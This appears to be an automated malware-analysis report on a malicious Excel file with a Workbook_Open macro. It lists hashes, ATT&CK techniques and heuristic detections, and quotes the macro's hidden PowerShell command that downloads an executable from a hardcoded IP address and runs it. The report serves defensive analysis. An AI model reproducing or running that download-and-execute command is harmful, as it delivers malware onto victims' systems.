Office (OLE) / .XLS malware analysis — malicious · b192617bdaf7c19e

MALICIOUS

Office (OLE) / .XLS

119.0 KB Created: 2021-04-13 13:37:17 Authoring application: Microsoft Excel

MD5: 158503a99dc198f86ef94bd16405c2be SHA-1: 590c64483ca12dcede673ef0c2bcfddaeca5ccad SHA-256: b192617bdaf7c19e03eb3aac7cf1fafd96e742cb63e0f118a3b92fcda788e254

200 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059.003 Windows Command Shell T1204.002 Malicious File T1105 Ingress Tool Transfer

The Workbook_Open macro within the XLS file is designed to execute a batch file that downloads a second-stage executable from a hardcoded URL. The script reconstructs the command to create 'C:\Users\Public\any.bat' which then executes 'powershell -w hi sleep -Se 31;Start-BitsTransfer -Source http://65.2.149.25/pef/B/ipv6/Product_Specifications_Details_202230_RFQ.exe -Dest C:\Users\Public\Documents\hotelhear.exe;C:\Users\Public\Documents\hotelhear.exe'. This indicates an intent to download and run a malicious executable, likely for further compromise.

Heuristics 6

Reference to ShellExecute API high SC_STR_SHELLEXEC

Reference to ShellExecute API
Workbook_Open macro high OLE_VBA_WBOPEN

Workbook_Open macro
GetObject call high OLE_VBA_GETOBJ

GetObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
VBA macros detected medium OLE_VBA_MACROS

Document contains VBA macro code
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas` `99a05adaa41e1ece5eaf3676167463243645708b503f703146bc0ed8f3e66d8b`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	1970 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 shell/COM execution token(s).

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